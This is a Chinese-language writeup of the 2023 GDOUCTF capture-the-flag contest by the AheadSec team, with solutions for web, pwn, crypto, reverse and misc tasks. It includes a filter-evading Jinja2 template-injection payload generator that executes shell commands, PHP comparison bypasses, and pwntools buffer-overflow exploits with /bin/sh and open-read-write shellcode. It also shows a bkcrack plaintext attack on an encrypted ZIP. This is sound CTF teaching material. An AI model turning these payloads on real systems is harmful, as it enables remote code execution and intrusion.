您现在的位置是:首页 >技术教程 >2023 广东海洋大学 GDOUCTF Writeup By AheadSec网站首页技术教程
2023 广东海洋大学 GDOUCTF Writeup By AheadSec
感谢战队的每位同学,辛苦了~
Web: Nacl
、monkey777
、peakaboo
Pwn: zsNick
Crypto: Nacl
Reverse: kcldah
Misc: mochu7
、Nacl
最终成绩第17名:
文章目录
Web
hate eat snake
打开界面看到是个贪吃蛇游戏,拿flag的条件是坚持60秒,玩了一下可以发现蛇会越来越快,那么肯定有个参数控制蛇的速度
然后打开右键检查查看源代码,可以发现确实存在控制蛇速度的参数:speed
window.onload = function() {
new Snake('eatSnake',10,false);
}
var Snake = function(snakeId, speed, isAuto) {
this.width = arguments[3] || 35;
this.height = arguments[4] || 35;
this.snakeId = snakeId || 'snake';
this.Grid = [];
this.snakeGrid = [];
this.foodGrid = [];
this.derectkey = 39;
this.goX = 0;
this.goY = 0;
this.speed = this.oldSpeed = speed || 10;
this.stop = true,
this.snakeTimer = null;
this.isAuto = isAuto || false;
this.init();
this.timeCounter = 0;
this.startTime = 0;
};
这里可以发现创建蛇的时候给了一个初始速度10,咋可以改掉,自己随机设置
this.speed = this.oldSpeed = speed ||10;
这里也可以改掉,自己随便改
然后再
Ctrl + F
查找一下还有没有控制speed的地方
然后可以在
main: function() { this.speed++;}
发现自增,然后干掉自增,
然后等着玩蛇就会自动出flag,虽然可以改那个出flag的时间,但一时半会没找到就算了
EZ WEB
打开题目进入主页,右键查看源代码可以发现有注释:
</src>
然后访问
/src
目录
使用
PUT
的方式访问路径:/super-secret-route-nobody-will-guess
就可以获取flag
受不了一点
打开题目可以看到一堆代码
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $f1ag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
别来沾边
一步一步分析,首先需要POST传入参数:ctf、gdou
然后需要过一个md5强碰撞
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
}
绕过方法很简单,以数组方法传入gdou和ctf的值,
后面md5因为无法解析数组内容,然后会读入一个字符串array
,然后两个参数md5值就相等了
接着还需要再请求头中添加cookie参数,它的值为:j0k3r
接着需要传入参数:aaa、bbb,然后绕过以下代码
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
}
这个是字符串的弱比较,因为== 在进行比较的时候,会先将字符串类型转化成相同,再比较
比如如下案例
所以参数的值就可以写:aaa=114514,bbb=114514a
最后这个串代码绕过方式很简单,POST、GET各传入一个参数就可以了,看着那么多判断,但实际上只要传入了参数就能过,有没有值都不重要
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
最终结果
<ez_ze>
模板注入
参考:https://blog.csdn.net/weixin_52635170/article/details/129856818
附脚本,需要修改url地址
from typing import List
import requests
url = "http://node6.anna.nssctf.cn:28298/get_flag"
def build_number(num: int) -> str:
result: List[str] = []
index: int = 0
while num > 0:
n: int = num % 10
result.append(f"({num2var(n)}{'*ten'*index})")
num //= 10
index += 1
return "+".join(result)
num2var_dict = {
0: "zero",
1: "one",
2: "two",
3: "three",
4: "four",
5: "five",
6: "six",
7: "seven",
8: "eight",
9: "nine"
}
def num2var(num: int) -> str:
if abs(num) >= 10:
raise Exception("no way")
return num2var_dict[num]
def build_payload(command: str) -> str:
return """{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% print(eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""
def run(command: str) -> str:
payload = build_payload(command)
response = requests.post(url, data={"name": payload})
print(payload)
print(response.text)
#return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()
c = 'cat /flag'
print(run(c))
问卷来力!
无法复制,F12源码查看
Pwn
EASY PWN
1.canary关闭 2.存在get函数溢出漏洞 3.程序提供了print_flag函数给flag
综合上述3点 符合ROP中的ret2text攻击手法的前提条件
from pwn import *
context.arch='amd64'
# 连接远程
io = remote("node5.anna.nssctf.cn", 28958)
# 获取程序中的print_flag函数地址
elf = ELF("./easypwn")
print_flag = elf.sym['print_flag']
#get函数溢出 进行ret2text攻击
payload = b'a'*(0x1f+8)+p64(print_flag)
#发送攻击
io.sendafter('Password:',payload)
#接收flag
io.recvall()
io.interactive()
#补充: 不知为何 用pwntools连接会有问题 直接在nc链接程序的时候 把paylaod内容手动输入
ezshellcode
1.写入shellcode
2.栈溢出跳转执行 写入的shellcode
# coding:utf-8
from pwn import *
context.arch='amd64'
# 连接远程
io = remote("node5.anna.nssctf.cn", 28010)
# 输入长度有限 pwntools生成的shellcode不够写入 找了个短的shellcode
shellcode=b'x48x31xC0x6Ax3Bx58x48x31xFFx48xBFx2Fx62x69x6Ex2Fx73x68x00x57x54x5Fx48x31xF6x48x31xD2x0Fx05'
io.sendafter("Please.
",shellcode)
# ret2text:跳转执行上一步写入的shellcode
payload = b'a'*(0xA+8)+p64(0x6010A0)
io.sendafter("start!
",payload)
io.interactive()
真男人下120层
题目采取了srand 和 rand函数 制造随机数
可以利用ctypes库 输入相同的seed种子值 就可以获得和题目相同的随机数了
打满120次随机数猜测 就可以得到程序给出的flag
from pwn import *
from ctypes import *
context.arch='amd64'
# 连接远程
io = remote("node4.anna.nssctf.cn", 28850)
# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#模仿程序 设置同样的srand函数
libc.srand(libc.time(0))
libc.srand((libc.rand()% 3) - 0x5AB9D26E)
#猜对120次随机数 程序会给出flag
for i in range(120):
io.sendlineafter("Floor ",str((libc.rand()%4)+1))
io.interactive()
RANDOM
开启了sandbox(): 1.shellcode不可以提权 2.只允许open write read功能
3.shellcode的写入长度受限
综合上述3点 运用orw_shellcode 让shellcode读取输出flag
1.用ctypes获取 linux生成的随机函数 跳转vulnerable函数
2.开启了沙箱保护 不能shellcode提权 只能orw_shellcode读取flag
3.由于写入长度不够 分两次写 jmp rsp劫持返回地址 继续向下运行
4.data_addr是用pwndbg的vmmap指令 找到的可读可写可执行 地址段落
5.jmp rsp指令的地址 程序里的haha()函数中有给出
from pwn import *
from ctypes import *
context.arch='amd64'
# 连接远程
io = remote("node6.anna.nssctf.cn",28969)
# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))#设置srand函数
jmp_sp = 0x40094E
data_addr = 0x601000
#通过随机数验证 程序会跳转到vulnerable函数
io.sendlineafter("num:",str(libc.rand()%50))
"""
利用 jmp_sp + asm 的攻击方式 让sp指针跳回变量地址 执行shellcode:
在data_addr 0x601000 写入orw_shellcode后
并跳转执行data_addr 0x12300的orw_shellcode
"""
payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容
payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcode
payload=payload.ljust(0x28,b'x00')#打满变量空间 和 rbp寄存器的字节
payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了
payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcode
io.sendlineafter("your door
",payload)
"""
orw_shellcode执行的内容:
打开本地的flag文件
把flag文件内容写入到 data_addr+0x100
把输出data_addr+0x100的flag文件内容
"""
orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件
orw_shellcode += shellcraft.read(3, data_addr+0x100, 0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100
orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出 地址data_addr+0x100存储的flag内容
io.send(asm(orw_shellcode))
io.interactive()
Crypto
Absolute_Baby_Encrytpion
let messagetoEncrypt = prompt("Enter a string: ").toLowerCase();
let charArray = messagetoEncrypt.split("");
let encryptedString = "";
let hasInvalidCharacter = false;
for (let i = 0; i < charArray.length; i++) {
switch (charArray[i]) {
case 'a':
encryptedString = encryptedString.concat('!')
break;
case 'b':
encryptedString = encryptedString.concat('1')
break;
case 'c':
encryptedString = encryptedString.concat(')')
break;
case 'd':
encryptedString = encryptedString.concat('v')
break;
case 'e':
encryptedString = encryptedString.concat('m')
break;
case 'f':
encryptedString = encryptedString.concat('+')
break;
case 'g':
encryptedString = encryptedString.concat('q')
break;
case 'h':
encryptedString = encryptedString.concat('0')
break;
case 'i':
encryptedString = encryptedString.concat('c')
break;
case 'j':
encryptedString = encryptedString.concat(']')
break;
case 'k':
encryptedString = encryptedString.concat('(')
break;
case 'l':
encryptedString = encryptedString.concat('}')
break;
case 'm':
encryptedString = encryptedString.concat('[')
break;
case 'n':
encryptedString = encryptedString.concat('8')
break;
case 'o':
encryptedString = encryptedString.concat('5')
break;
case 'p':
encryptedString = encryptedString.concat('$')
break;
case 'q':
encryptedString = encryptedString.concat('*')
break;
case 'r':
encryptedString = encryptedString.concat('i')
break;
case 's':
encryptedString = encryptedString.concat('>')
break;
case 't':
encryptedString = encryptedString.concat('#')
break;
case 'u':
encryptedString = encryptedString.concat('<')
break;
case 'v':
encryptedString = encryptedString.concat('?')
break;
case 'w':
encryptedString = encryptedString.concat('o')
break;
case 'x':
encryptedString = encryptedString.concat('^')
break;
case 'y':
encryptedString = encryptedString.concat('-')
break;
case 'z':
encryptedString = encryptedString.concat('_')
break;
case '0':
encryptedString = encryptedString.concat('h')
break;
case '1':
encryptedString = encryptedString.concat('w')
break;
case '2':
encryptedString = encryptedString.concat('e')
break;
case '3':
encryptedString = encryptedString.concat('9')
break;
case '4':
encryptedString = encryptedString.concat('g')
break;
case '5':
encryptedString = encryptedString.concat('z')
break;
case '6':
encryptedString = encryptedString.concat('d')
break;
case '7':
encryptedString = encryptedString.concat('~')
break;
case '8':
encryptedString = encryptedString.concat('=')
break;
case '9':
encryptedString = encryptedString.concat('x')
break;
case '!':
encryptedString = encryptedString.concat('j')
break;
case '@':
encryptedString = encryptedString.concat(':')
break;
case '#':
encryptedString = encryptedString.concat('4')
break;
case '$':
encryptedString = encryptedString.concat('b')
break;
case '%':
encryptedString = encryptedString.concat('`')
break;
case '^':
encryptedString = encryptedString.concat('l')
break;
case '&':
encryptedString = encryptedString.concat('3')
break;
case '*':
encryptedString = encryptedString.concat('t')
break;
case '(':
encryptedString = encryptedString.concat('6')
break;
case ')':
encryptedString = encryptedString.concat('s')
break;
case '_':
encryptedString = encryptedString.concat('n')
break;
case '+':
encryptedString = encryptedString.concat(';')
break;
case '-':
encryptedString = encryptedString.concat(''')
break;
case '=':
encryptedString = encryptedString.concat('r')
break;
case '`':
encryptedString = encryptedString.concat('k')
break;
case '~':
encryptedString = encryptedString.concat('p')
break;
case '{':
encryptedString = encryptedString.concat('"')
break;
case '}':
encryptedString = encryptedString.concat('&')
break;
case '[':
encryptedString = encryptedString.concat('/')
break;
case ']':
encryptedString = encryptedString.concat('\')
break;
case '|':
encryptedString = encryptedString.concat('2')
break;
case ':':
encryptedString = encryptedString.concat('.')
break;
case ';':
encryptedString = encryptedString.concat('%')
break;
case '"':
encryptedString = encryptedString.concat('|')
break;
case ''':
encryptedString = encryptedString.concat(',')
break;
case '<':
encryptedString = encryptedString.concat('@')
break;
case '>':
encryptedString = encryptedString.concat('{')
break;
case ',':
encryptedString = encryptedString.concat('u')
break;
case '.':
encryptedString = encryptedString.concat('7')
break;
case '?':
encryptedString = encryptedString.concat('y')
break;
case '/':
encryptedString = encryptedString.concat('a')
break;
default:
hasInvalidCharacter = true;
}
}
if (hasInvalidCharacter) {
encryptedString = "Invalid String!";
} else {
console.log(`Your encoded string is ${encryptedString}`);
}
就是根据这个js脚本反推,然后写在字典里头
import base64
# +}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&
coded_string="K30hcSIpaGlpbSkjfS1udm0paS0kI212biMwbW5ibSlpbSNuK30hcW5tOClpLSQjbXZub2MjMG56PCQ5aW5tIT4tbjE6MS1ubTgpaS0kfmM1OG4hfXFoaWojMFtub2ljIyNtOG5jOG4/IThjfXchbl0+Jg=="
encrypted_string = base64.b64decode(coded_string).decode('utf-8')
dict = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':''','=':'r','`':'k','~':'p','{':'"','}':'&','[':'/',']':'\','|':'2',':':'.',';':'%','"':'|',''':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}
inverted_dict = {value: key for key, value in dict.items()}
result = ''
for char in encrypted_string:
if char in inverted_dict:
result += inverted_dict[char]
else:
result += char
print(result)
Reverse
Check_Your_Luck
c++代码直接使用了一个方程组,使用python的sympy模块直接求解
// 使用多项式
void flag_checker(int v,int w, int x, int y, int z){
if ((v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322) &&
(v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724) &&
(v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529) &&
(v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457) &&
(v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)){
cout << "Congratulations, Here is your flag:
";
cout << "flag{" << v << "_" << w << "_" << x << "_" << y << "_" << z << "}" << endl;
}
else{
cout << "
Seems your luck is not in favor right now!
Better luck next time!" << endl;
}
}
没啥操作,脚本一跑出结果
from sympy.solvers import solve
from sympy import Symbol
print(chr(114))
# 定义变量
v = Symbol('v')
w = Symbol('w')
x = Symbol('x')
y = Symbol('y')
z = Symbol('z')
# 定义方程组
eq1 = v*23 + w*(-32) + x*98 + y*55 + z*90 - 333322
eq2 = v*123 + w*(-322) + x*68 + y*67 + z*32 - 707724
eq3 = v*266 + w*(-34) + x*43 + y*8 + z*32 - 1272529
eq4 = v*343 + w*(-352) + x*58 + y*65 + z*5 - 1672457
eq5 = v*231 + w*(-321) + x*938 + y*555 + z*970 - 3372367
# 求解方程组
sol = solve((eq1, eq2, eq3, eq4, eq5), (v, w, x, y, z))
# 输出结果
print(sol)
doublegame
使用exeinfope查看,64位,无壳
运行,发现是个贪吃蛇,
直接打开ida,使用 shift + f12,搜索 GAME OVER,发现有很多,一个一个的看
直接 按双击,然后点击tab找到调用处,然后开始代码分析
分析后有用的代码就是中间的代码块
if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 2 )
{
++dword_140020170;
dword_140022CD0 += 10;
sub_1400111A9(7i64);
sub_14001130C(0i64, 22i64);
sub_1400111F9(&unk_14001D220);
sub_14001105A();
}
else if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 1
|| dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 4 )
{
Sleep(0x3E8u);
system("cls");
sub_1400111A9(7i64);
sub_14001130C(28i64, 8i64);
// 分数要大于100
if ( dword_140022CD0 <= 100 )
{
if ( dword_140022CD0 <= dword_14002017C )
sub_1400111F9(&unk_14001D280);
else
sub_1400111F9(&unk_14001D0B8);
}
else
{
sub_1400111DB();
// 分数大于 13371337时进入第二关
if ( dword_140022CD0 > 13371337 )
// 游戏第二关
sub_14001136B();
sub_1400110E6();
}
sub_14001130C(28i64, 11i64);
sub_1400111F9("GAME OVER");
while ( 1 )
{
while ( 1 )
{
sub_14001130C(28i64, 14i64);
sub_1400111F9(&unk_14001D320);
sub_1400110BE("%c", v7);
if ( v7[0] != 121 && v7[0] != 89 )
break;
system("cls");
sub_1400112EE();
}
if ( v7[0] == 110 || v7[0] == 78 )
{
sub_14001130C(28i64, 16i64);
exit(0);
}
sub_14001130C(28i64, 16i64);
sub_1400111F9(&unk_14001D3A0);
}
}
一直在函数名那里按 x , 找到这个代码的调用处,动调得知贪吃蛇每走一步,都会去判断上面代码的if,需要通过贪吃蛇才能进入第二关
打开第二关,可以看到是个迷宫题
代码分析
printf("path
");
v23 = 0;
v24 = 0;
// 当前所在纵坐标
v15 = 15;
// 当前所在横坐标
v16 = 0;
// 出口点纵坐标
v17 = 7;
// 出口点横坐标
v18 = 20;
// 画迷宫
for ( j = 0; j <= 20; ++j )
puts(&Buffer[22 * j]);
sub_1400111F9("Please to save the cat!
");
// 循环判断是否出了迷宫
while ( v15 != v17 || v16 != v18 )
{
// 获取当前输入的字符
v22 = getchar();
switch ( v22 )
{
case 's':
if ( Buffer[22 * v15 + 22 + v16] != 48 )
{
Buffer[22 * v15++ + v16] = 32;
Buffer[22 * v15 + v16] = 64;
}
break;
case 'w':
if ( Buffer[22 * v15 - 22 + v16] != 48 )
{
Buffer[22 * v15-- + v16] = 32;
Buffer[22 * v15 + v16] = 64;
}
break;
case 'a':
if ( Buffer[22 * v15 - 1 + v16] != 48 )
{
// 如果碰到了‘猫’(*)所在
if ( Buffer[22 * v15 - 1 + v16] == 42 )
v7[20] = 48;
Buffer[22 * v15 + v16--] = 32;
Buffer[22 * v15 + v16] = 64;
}
break;
default:
if ( v22 == 100 && Buffer[22 * v15 + 1 + v16] != 48 )
{
Buffer[22 * v15 + v16++] = 32;
Buffer[22 * v15 + v16] = 64;
}
break;
}
// 删除迷宫
system("cls");
for ( j = 0; j <= 20; ++j )
puts(&Buffer[22 * j]);
puts(&v19[25 * v23]);
// 如果碰到了猫
if ( v7[20] == 48 )
{
// 使用第一关的分数与 7620异或
v24 = sub_140011433(0);
// 判断输入的第一关的分数是否正确
if ( v24 == 13376013 )
{
// 重新初始化当前所在位置以及将迷宫中 ‘猫’的位置变为 ‘ ’
v23 = 1;
v7[20] = 32;
Buffer[22 * v15 + v16] = 32;
v15 = 15;
v16 = 0;
v11[0] = 64;
++v23;
}
else
{
sub_1400111F9("error");
}
}
}
分析完后,可以知道第一关需要的分数是 13371337
所以直接使用 ida patch掉第一关,使用 tab进入对应的汇编代码,然后将 跳转改为相反的即可,jle -> jge
修改完后得到迷宫
000000000000000000000
0 0 0 0 0 0 0
0 0 0 00000 00000 0 0
0 0 0 0
0 000 000 0 000 0 0 0
0 0 0 0 0 0 0 0
0 0 0 00000 000 000 0
0 0 0 0 0 0
0 000 0 0 000 0 0 0 0
0 0 0 0 0 0 0 0 0
0 00000 000 000 0 0 0
0 0 0 0 0
000 0 0 0 000 0 0 0 0
0 0 0 0 0 0 * 0 0 0 0
0 0000000 0 000 00000
@ 0 0 0 0
0 0 0 0 0 00000000000
0 0 0 0 0
000 0 00000 0 000 000
0 0 0 0 0
000000000000000000000
走的路段为:
dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd
结束后根据提示:HZCTF{md5(path)+score}
使用在线 md5加密网站,得到flag:nssctf{811173b05afff098b4e0757962127eac13371337}
Misc
签到
长亭珂兰寺公众号回复签到
Matryoshka
压缩包套娃,密码文件给了,是数字英文单词和加、减、乘、取模的,替换下,然后运算下得到密码
注意:这里密码文件中的运算逻辑比较扯,是不按照常规数学逻辑先乘除再加减,而是固定从左往右运算
然后脚本简单处理即可:
import zipfile
import os
import re
def getPassword(next_pwd_file):
with open(next_pwd_file, "r") as f:
data = f.read().strip()
replace_list = [["zero", "0"], ["one", "1"], ["two", "2"], ["three", "3"],
["four", "4"], ["five", "5"], ["six", "6"], ["seven", "7"],
["eight", "8"], ["nine", "9"], ["plus", "+"], ["times", "*"],
["minus", "-"], ["mod", "%"]]
for rep_list in replace_list:
data = data.replace(rep_list[0], rep_list[1])
nums = re.findall(r"d{1,}", data)
valid_nums = []
for num in nums:
valid_nums.append(str(int(num)))
for i in range(len(nums)):
data = data.replace(nums[i], valid_nums[i])
list1 = ["+", "-", "*", "%"]
count_res = 0
for l in list1:
counts = data.count(l)
count_res += counts
data = "(" * count_res + data
replace_list_3 = [["+", ")+"], ["-", ")-"], ["*", ")*"], ["%", ")%"]]
for rep_list in replace_list_3:
data = data.replace(rep_list[0], rep_list[1])
password = abs(eval(data))
return password
def decompressZip(next_zip, password, next_pwd_file):
zf = zipfile.ZipFile(next_zip, "r")
name_list = zf.namelist()
zf.extractall(path='.', pwd=password.encode('utf-8'))
zf.close() # 关闭压缩包文件句柄
os.remove(next_pwd_file)
os.remove(next_zip)
next_pwd_file, next_zip = name_list[0], name_list[1]
return next_pwd_file, next_zip
if __name__ == '__main__':
next_pwd_file = "password1000.txt"
next_zip = "Matryoshka1000.zip"
while True:
try:
password = str(getPassword(next_pwd_file))
next_pwd_file, next_zip = decompressZip(next_zip, password, next_pwd_file)
except Exception as ex:
print(ex)
break
刚开始比较慢,越到后面,压缩包越小,解压速度越快。稍微等一下,没多久的
pixelart
图中放了一个缩略图,PS量一下,每个像素宽高都距离12px
from PIL import Image
img = Image.open('arcaea.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//12,h//12))
for x in range(w//12):
for y in range(h//12):
(r,g,b)=img.getpixel((x*12,y*12))
img_obj.putpixel((x,y),(r,g,b))
img_obj.save('ok.png')
得到的图片正确
真的flag在LSB中可以看到
NSSCTF{J3st_2_cats_battling}
getnopwd
明文攻击
echo -n "00004D3C2B1A01000000FFFFFFFFFFFFFFFF" | xxd -r -ps > pcap_plain
PS D:ToolsMiscbkcrack-1.5.0-win64> .bkcrack.exe -C .getnopwd.zip -c final.pcapng -p .pcap_plain -o 6
bkcrack 1.5.0 - 2022-07-07
[14:28:30] Z reduction using 10 bytes of known plaintext
100.0 % (10 / 10)
[14:28:30] Attack on 648601 Z values at index 13
Keys: 3290bc3d 27d2d1d8 dfd4c1ae
9.1 % (58992 / 648601)
[14:29:18] Keys
3290bc3d 27d2d1d8 dfd4c1ae
PS D:ToolsMiscbkcrack-1.5.0-win64> .bkcrack.exe -C .getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -d final.pcapng
bkcrack 1.5.0 - 2022-07-07
[14:38:05] Writing deciphered data final.pcapng (maybe compressed)
Wrote deciphered data.
PS D:ToolsMiscbkcrack-1.5.0-win64> .bkcrack.exe -C .getnopwd.zip -c DO_NO_BE_MISDIRECTED -k 3290bc3d 27d2d1d8 dfd4c1ae -d DO_NO_BE_MISDIRECTED
bkcrack 1.5.0 - 2022-07-07
[14:38:43] Writing deciphered data DO_NO_BE_MISDIRECTED (maybe compressed)
Wrote deciphered data.
识别一下是啥玩意
root@mochu7-pc:/mnt/d/Tools/Misc/bkcrack-1.5.0-win64# file DO_NO_BE_MISDIRECTED
DO_NO_BE_MISDIRECTED: Zip archive data, made by v4.5, extract using at least v2.0, last modified Mon Jan 26 00:44:48 1970, uncompressed size 1312, method=deflate
修改后缀为.zip
,解压,看起来是docx
文件,直接查看document.xml
一开始也不知道是什么流量,查了下这两个标识
发现是数位板流量,找到了一道同样是数位板流量的题目:https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/
首先提取数位板的数据
tshark -r final.pcapng -T fields -Y "usb.transfer_type == 0x01 and frame.len==37" -e "usb.capdata" > usbdata.txt
然后根据上面的链接,知道该数据的存储格式(小端存储)
Example:
02:f0:50:1d:72:1a:00:00:12
Bytes:
02:f0: -- Header
50:1d: -- X
72:1a: -- Y
00:00: -- Pressure
12 -- Suffix
with open('usbdata.txt', 'r') as f:
lines = f.readlines()
for line in lines:
line = line.strip()
x = line[4:8][2:] + line[4:8][:2]
y = line[8:12][2:] + line[8:12][:2]
z = line[12:16][2:]
print(int(x, 16), int(y, 16), int(z, 16), sep=" ")
gnuplot
直接画
PS垂直翻转一下
NSSCTF{m1nd_3v3rything_y0u_see}